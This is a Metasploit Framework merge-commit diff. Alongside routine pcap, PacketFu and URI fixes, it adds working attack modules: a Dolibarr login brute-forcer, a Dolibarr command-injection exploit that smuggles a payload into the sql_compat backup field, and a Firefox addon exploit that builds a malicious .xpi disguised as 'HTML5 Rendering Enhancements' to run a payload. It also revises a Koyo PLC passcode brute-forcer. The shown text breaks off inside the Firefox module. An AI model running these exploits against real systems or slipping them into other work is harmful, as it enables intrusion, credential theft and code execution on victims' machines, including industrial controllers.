Merge branch 'rapid7' into bap-refactor

unstable
James Lee 2012-04-10 12:42:27 -06:00
commit 28534d5f6e
17 changed files with 1281 additions and 99 deletions

View File

@ -334,7 +334,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
# Find the first non-loopback address
if not nhost
iface = ifaces.select{|i| i.ip != "127.0.0.1" }
iface = ifaces.select{|i| i.ip != "127.0.0.1" and i.ip != "::1" }
if iface.length > 0
nhost = iface.first.ip
end

View File

@ -2205,14 +2205,19 @@ class DBManager
data = ""
::File.open(filename, 'rb') do |f|
data = f.read(f.stat.size)
data = f.read(4)
end
case data[0,4]
when "PK\x03\x04"
data = Zip::ZipFile.open(filename)
when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4"
data = PacketFu::PcapFile.new.readfile(filename)
data = PacketFu::PcapFile.new(:filename => filename)
else
::File.open(filename, 'rb') do |f|
sz = f.stat.size
data = f.read(sz)
end
end
if block
import(args.merge(:data => data)) { |type,data| yield type,data }
@ -2260,7 +2265,10 @@ class DBManager
end
if data and data.kind_of? PacketFu::PcapFile
raise DBImportError.new("The pcap file provided is empty.") if data.body.empty?
# Don't check for emptiness here because unlike other formats, we
# haven't read any actual data in yet, only magic bytes to discover
# that this is indeed a pcap file.
#raise DBImportError.new("The pcap file provided is empty.") if data.body.empty?
@import_filedata ||= {}
@import_filedata[:type] = "Libpcap Packet Capture"
return :libpcap
@ -2458,7 +2466,7 @@ class DBManager
filename = args[:filename]
wspace = args[:wspace] || workspace
data = PacketFu::PcapFile.new.readfile(filename)
data = PacketFu::PcapFile.new(:filename => filename)
import_libpcap(args.merge(:data => data))
end
@ -2478,7 +2486,7 @@ class DBManager
seen_hosts = {}
decoded_packets = 0
last_count = 0
data.body.map {|p| p.data}.each do |p|
data.read_packet_bytes do |p|
if (decoded_packets >= last_count + 1000) and block
yield(:pcap_count, decoded_packets)
last_count = decoded_packets

View File

@ -524,7 +524,10 @@ module Exploit::Remote::HttpClient
#
def target_uri
begin
URI(datastore['TARGETURI'])
# In case TARGETURI is empty, at least we default to '/'
u = datastore['TARGETURI']
u = "/" if u.nil? or u.empty?
URI(u)
rescue ::URI::InvalidURIError
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
raise Msf::OptionValidateError.new(['TARGETURI'])

View File

@ -526,6 +526,7 @@ class Db
print_line " -p,--port <portspec> List vulns matching this port spec"
print_line " -s <svc names> List vulns matching these service names"
print_line " -S,--search Search string to filter by"
print_line " -i,--info Display Vuln Info"
print_line
print_line "Examples:"
print_line " vulns -p 1-65536 # only vulns with associated services"
@ -541,6 +542,7 @@ class Db
port_ranges = []
svcs = []
search_term = nil
show_info = false
# Short-circuit help
if args.delete "-h"
@ -571,6 +573,8 @@ class Db
svcs = service.split(/[\s]*,[\s]*/)
when '-S', '--search'
search_term = /#{args.shift}/nmi
when '-i', '--info'
show_info = true
else
# Anything that wasn't an option is a host to search for
unless (arg_host_range(arg, host_ranges))
@ -600,11 +604,12 @@ class Db
next unless ports.empty? or ports.include? vuln.service.port
# Same for service names
next unless svcs.empty? or svcs.include?(vuln.service.name)
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} port=#{vuln.service.port} proto=#{vuln.service.proto} name=#{vuln.name} refs=#{reflist.join(',')}")
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
else
# This vuln has no service, so it can't match
next unless ports.empty? and svcs.empty?
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')}")
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
end
end
end

View File

@ -1,6 +1,6 @@
== LICENSE
Copyright (c) 2008-2011, Tod Beardsley
Copyright (c) 2008-2012, Tod Beardsley
All rights reserved.
Redistribution and use in source and binary forms, with or without

View File

@ -265,8 +265,11 @@ module PacketFu
warn "Packet ##{packet_count} is corrupted: expected #{len.to_i}, got #{pcap_packet.data.size}. Exiting."
break
end
pcap_packets << pcap_packet.clone
yield pcap_packets.last if block
if block
yield pcap_packet
else
pcap_packets << pcap_packet.clone
end
end
ensure
file_handle.close
@ -317,6 +320,7 @@ module PacketFu
def initialize(args={})
init_fields(args)
@filename = args.delete :filename
super(args[:endian], args[:head], args[:body])
end
@ -361,6 +365,18 @@ module PacketFu
self.read! fdata
end
# Calls the class method with this object's @filename
def read_packet_bytes(fname=@filename,&block)
raise ArgumentError, "Need a file" unless fname
return self.class.read_packet_bytes(fname, &block)
end
# Calls the class method with this object's @filename
def read_packets(fname=@filename,&block)
raise ArgumentError, "Need a file" unless fname
return self.class.read_packets(fname, &block)
end
# file_to_array() translates a libpcap file into an array of packets.
# Note that this strips out pcap timestamps -- if you'd like to retain
# timestamps and other libpcap file information, you will want to

View File

@ -132,7 +132,7 @@ module PacketFu
# method that returns an array rather than just the first candidate.
end
# Handles ifconfig for various (okay, one) platforms. Mac guys, fix this and submit a patch!
# Handles ifconfig for various (okay, two) platforms.
# Will have Windows done shortly.
#
# Takes an argument (either string or symbol) of the interface to look up, and
@ -182,8 +182,32 @@ module PacketFu
ret[:ip6_saddr] = $1
ret[:ip6_obj] = IPAddr.new($1)
end
end # linux
when /darwin/i
ifconfig_data = %x[ifconfig #{iface}]
if ifconfig_data =~ /#{iface}/i
ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/)
else
raise ArgumentError, "Cannot ifconfig #{iface}"
end
end # linux
real_iface = ifconfig_data.first
ret[:iface] = real_iface.split(':')[0]
ifconfig_data.each do |s|
case s
when /ether[\s]([0-9a-fA-F:]{17})/i
ret[:eth_saddr] = $1
ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
when /inet[\s]*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*Mask:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i
ret[:ip_saddr] = $1
ret[:ip_src] = [IPAddr.new($1).to_i].pack("N")
ret[:ip4_obj] = IPAddr.new($1)
ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3
when /inet6[\s]*([0-9a-fA-F:\x2f]+)/
ret[:ip6_saddr] = $1
ret[:ip6_obj] = IPAddr.new($1)
end
end # darwin
end # RUBY_PLATFORM
ret
end

View File

@ -1,7 +1,7 @@
module PacketFu
# Check the repo's for version release histories
VERSION = "1.1.3" # Unscrewing the 1.1.2 gem
VERSION = "1.1.5" # Unscrewing the 1.1.4 gem
# Returns PacketFu::VERSION
def self.version

View File

@ -197,7 +197,7 @@ class Metasploit3 < Msf::Auxiliary
# Can be used for telnet as well if telnet is enabled.
report_note(
:host => ip,
:port => 21,
:port => rport,
:proto => 'tcp',
:sname => 'ftp',
:ntype => 'scada.modicon.ftp-password',

View File

@ -0,0 +1,123 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
def initialize(info = {})
super(update_info(info,
'Name' => 'Dolibarr ERP & CRM 3 Login Utility',
'Description' => %q{
This module attempts to authenticate to a Dolibarr ERP/CRM's admin web intarface,
and should only work against version 3.1.1 or older, because these versions do not
have any default protections against brute-forcing.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(80),
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]),
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
], self.class)
end
def get_sid_token
res = send_request_raw({
'method' => 'GET',
'uri' => @uri.path
})
# Get the session ID from the cookie
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
id = (m.nil?) ? nil : m[1]
# Get the token from the decompressed HTTP body response
m = res.body.match(/type="hidden" name="token" value="(.+)"/)
token = (m.nil?) ? nil : m[1]
return id, token
end
def do_login(user, pass)
#
# Get a new session ID/token. That way if we get a successful login,
# we won't get a false positive due to reusing the same sid/token.
#
sid, token = get_sid_token
if sid.nil? or token.nil?
print_error("#{@peer} - Unable to obtain session ID or token, cannot continue")
return :abort
else
vprint_status("#{@peer} - Using sessiond ID: #{sid}")
vprint_status("#{@peer} - Using token: #{token}")
end
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@uri.path}index.php",
'cookie' => sid,
'vars_post' => {
'token' => token,
'loginfunction' => 'loginfunction',
'tz' => '-6',
'dst' => '1',
'screenwidth' => '1093',
'screenheight' => '842',
'username' => user,
'password' => pass
}
})
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
vprint_error("#{@peer} - Service failed to respond")
return :abort
end
location = res.headers['Location']
if location =~ /admin\//
print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"")
report_auth_info({
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:proof => location,
:source_type => 'user_supplied'
})
return :next_user
else
vprint_error("#{@peer} - Bad login: \"#{user}:#{pass}\"")
return
end
end
def run
@uri = target_uri
@uri.path << "/" if @uri.path[-1, 1] != "/"
@peer = "#{rhost}:#{rport}"
each_user_pass { |user, pass|
vprint_status("#{@peer} - Trying \"#{user}:#{pass}\"")
do_login(user, pass)
}
end
end

View File

@ -21,9 +21,10 @@ class Metasploit3 < Msf::Auxiliary
'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',
'Version' => '$Revision$',
'Description' => %q{
This module attempts to authenticate to
a locked Koyo DirectLogic PLC. The PLC uses a restrictive
passcode, which can be A0000000 through A9999999.
This module attempts to authenticate to a locked Koyo DirectLogic PLC.
The PLC uses a restrictive passcode, which can be A0000000 through A9999999.
The "A" prefix can also be changed by the administrator to any other character,
which can be set through the PREFIX option of this module.
This module is based on the original 'koyobrute.rb' Basecamp module from
DigitalBond.
@ -43,98 +44,100 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
OptString.new('PREFIX', [true, 'The prefix to use for the password (default: A)', "A"]),
Opt::RPORT(28784)
], self.class)
@CCITT_16 = [
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
]
end
@@CCITT_16 = [
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
]
def run_host(ip)
@udp_sock ||= {}
@udp_sock[ip] = Rex::Socket::Udp.create(
'LocalHost' => datastore['LHOST'] || nil,
'PeerHost' => ip,
'PeerPort' => rport,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
# Create a socket in order to receive responses from a non-default IP
@udp_sock = Rex::Socket::Udp.create(
'PeerHost' => rhost,
'PeerPort' => rport.to_i,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
)
print_status("#{ip}:#{rport} - KOYO - Checking the controller for locked memory...")
if unlock_check(ip)
print_good("#{ip}:#{rport} - Unlocked!")
add_socket(@udp_sock)
print_status("#{rhost}:#{rport} - KOYO - Checking the controller for locked memory...")
if unlock_check
# TODO: Report a vulnerability for an unlocked controller?
print_good("#{rhost}:#{rport} - Unlocked!")
return
else
print_status("#{ip}:#{rport} - KOYO - Controller locked; commencing bruteforce...")
print_status("#{rhost}:#{rport} - KOYO - Controller locked; commencing bruteforce...")
end
# TODO: Consider sort_by {rand} in order to avoid sequential guessing
# or something fancier
(0..9999999).each do |i|
passcode = 'A' + i.to_s.rjust(7,'0')
vprint_status("#{ip}:#{rport} - KOYO - Trying #{passcode}")
passcode = datastore['PREFIX'] + i.to_s.rjust(7,'0')
vprint_status("#{rhost}:#{rport} - KOYO - Trying #{passcode}")
bytes = passcode.scan(/../).map { |x| x.to_i(16) }
passstr = bytes.pack("c*")
print_debug passstr.inspect
passstr = bytes.pack("C*")
res = try_auth(passstr)
next if not res
res = try_auth(ip, passstr)
if res
print_good "#{ip}:#{rport} - KOYO - Found passcode: #{passcode}"
report_auth_info(
:host => ip,
:port => rport,
:proto => 'udp',
:user => '',
:pass => passcode, # NOTE: Human readable
print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}"
report_auth_info(
:host => rhost,
:port => rport.to_i,
:proto => 'udp',
:user => '',
:pass => passcode, # NOTE: Human readable
:active => true
)
break
end
break
end
end
def crc16(buf, crc=0)
buf.each_byte{|x| crc = ((crc<<8) ^ @CCITT_16[(crc>>8) ^ x])&0xffff}
[crc].pack("S")
buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff }
[crc].pack("v")
end
def unlock_check(ip)
def unlock_check
checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"
@udp_sock[ip].sendto(checkpacket, ip, datastore['RPORT'].to_i)
@udp_sock.sendto(checkpacket, rhost, rport.to_i)
recvpacks = 0
# TODO: Since the packet count is critical, consider using Capture instead,
@ -144,10 +147,10 @@ class Metasploit3 < Msf::Auxiliary
#
# Another way to speed things up is to use fancy threading, but that's for another
# day.
while (r = @udp_sock[ip].recvfrom(65535, 0.1) and recvpacks < 2)
while (r = @udp_sock.recvfrom(65535, 0.1) and recvpacks < 2)
res = r[0]
if res.length == 269 # auth reply packet
if res[17] == "\x00" and res[19] == "\xD2" # Magic bytes
if res[17,1] == "\x00" and res[19,1] == "\xD2" # Magic bytes
return true
end
end
@ -156,19 +159,19 @@ class Metasploit3 < Msf::Auxiliary
return false
end
def try_auth(ip, passstr)
def try_auth(passstr)
data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"
header = "HAP"
header += "\xe5\x01" # random session ID
header += crc16(data)
header += [data.length].pack("S")
header += [data.length].pack("v")
authpacket = header + data
@udp_sock[ip].sendto(authpacket, ip, datastore['RPORT'].to_i, 0)
@udp_sock.sendto(authpacket, rhost, rport.to_i)
2.times { @udp_sock[ip].get(recv_timeout) } # talk to the hand
2.times { @udp_sock.get(recv_timeout) } # talk to the hand
status = unlock_check(ip)
status = unlock_check
return status
end
@ -180,9 +183,4 @@ class Metasploit3 < Msf::Auxiliary
datastore['RECV_TIMEOUT'].to_i.abs
end
end
def cleanup
@udp_sock.each_pair { |ip,sock| sock.shutdown rescue nil}
end
end

View File

@ -0,0 +1,180 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",
'Description' => %q{
This module exploits a vulnerability found in Dolibarr ERP/CRM's
backup feature. This software is used to manage a company's business
information such as contacts, invoices, orders, stocks, agenda, etc.
When processing a database backup request, the export.php function
does not check the input given to the sql_compat parameter, which allows
a remote authenticated attacker to inject system commands into it,
and then gain arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
],
'Arch' => ARCH_CMD,
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Platform' => ['unix', 'linux'],
'Targets' =>
[
# Older versions are probably also vulnerable according to
# Nahuel's report on full disclosure
['Dolibarr 3.1.1 on Linux', {}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 6 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'Dolibarr Username', 'admin']),
OptString.new('PASSWORD', [true, 'Dolibarr Password', 'test']),
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
], self.class)
end
def check
res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
})
if res.body =~ /Dolibarr 3\.1\.1/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def get_sid_token
res = send_request_raw({
'method' => 'GET',
'uri' => @uri.path
})
# Get the session ID from the cookie
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
id = (m.nil?) ? nil : m[1]
# Get the token from the decompressed HTTP body response
m = res.body.match(/type="hidden" name="token" value="(.+)"/)
token = (m.nil?) ? nil : m[1]
return id, token
end
def login(sid, token)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@uri.path}index.php",
'cookie' => sid,
'vars_post' => {
'token' => token,
'loginfunction' => 'loginfunction',
'tz' => '-6',
'dst' => '1',
'screenwidth' => '1093',
'screenheight' => '842',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
location = res.headers['Location']
return (location =~ /admin\//)
end
def exploit
@uri = target_uri
@uri.path << "/" if @uri.path[-1, 1] != "/"
peer = "#{rhost}:#{rport}"
print_status("#{peer} - Getting the sid and token...")
sid, token = get_sid_token
if sid.nil?
print_error("#{peer} - Unable to retrieve a session ID")
return
elsif token.nil?
print_error("#{peer} - Unable to retrieve a token")
return
end
user = datastore['USERNAME']
pass = datastore['PASSWORD']
print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"")
success = login(sid, token)
if not success
print_error("#{peer} - Unable to login")
return
end
print_status("#{peer} - Sending malicious request...")
res = send_request_cgi({
'method' => 'POST',
'uri' => @uri.path + "admin/tools/export.php",
'cookie' => sid,
'vars_post' => {
'token' => token,
'export_type' => 'server',
'what' => 'mysql',
'mysqldump' => '/usr/bin/mysqldump',
'use_transaction' => 'yes',
'disable_fk' => 'yes',
'sql_compat' => ";#{payload.encoded};",
'sql_structure' => 'structure',
'drop' => '1',
'sql_data' => 'data',
'showcolumns' => 'yes',
'extended_ins' => 'yes',
'delayed' => 'yes',
'sql_ignore' => 'yes',
'hexforbinary' => 'yes',
'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
'compression' => 'none'
}
})
end
end
=begin
Notes:
114 if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137 $paramcrypted=$param;
...
159 $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165 if ($handle)
166 {
....
169 $handlein = popen($fullcommandclear, 'r');
....
185 }
=end

View File

@ -0,0 +1,224 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize( info = {} )
super( update_info( info,
'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
'Description' => %q{
This exploit dynamically creates a .xpi addon file.
The resulting bootstrapped Firefox addon is presented to
the victim via a web page with. The victim's Firefox browser
will pop a dialog asking if they trust the addon.
Once the user clicks "install", the addon is installed and
executes the payload with full user permissions. As of Firefox
4, this will work without a restart as the addon is marked to
be "bootstrapped". As the addon will execute the payload after
each Firefox restart, an option can be given to automatically
uninstall the addon once the payload has been executed.
},
'License' => MSF_LICENSE,
'Author' => [ 'mihi' ],
'References' =>
[
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 1
))
register_options( [
OptString.new('ADDONNAME', [ true,
"The addon name.",
"HTML5 Rendering Enhancements"
]),
OptBool.new('AutoUninstall', [ true,
"Automatically uninstall the addon after payload execution",
true
])
], self.class)
end
def on_request_uri( cli, request )
if not request.uri.match(/\.xpi$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
p = regenerate_payload(cli)
if not p
print_error("Failed to generate the payload.")
# Send them a 404 so the browser doesn't hang waiting for data
# that will never come.
send_not_found(cli)
return
end
# If we haven't returned yet, then this is a request for our xpi,
# so build one
if target.name == 'Generic (Java Payload)'
jar = p.encoded_jar
jar.build_manifest(:main_class => "metasploit.Payload")
payload_file = jar.pack
payload_name='payload.jar'
payload_script=%q|
var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
java.lang.System.setSecurityManager(null);
var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
|
else
payload_file = generate_payload_exe
payload_name='payload.exe'
payload_script=%q|
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(tmp);
process.run(false,[],0);
|
end
zip = Rex::Zip::Archive.new
xpi_guid = '{d0df471a-9896-4e6d-83e2-13a04ed6df33}' #TODO randomize!
bootstrap_script = %q|
function startup(data, reason) {
var file = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("ProfD", Components.interfaces.nsIFile);
file.append("extensions");
|
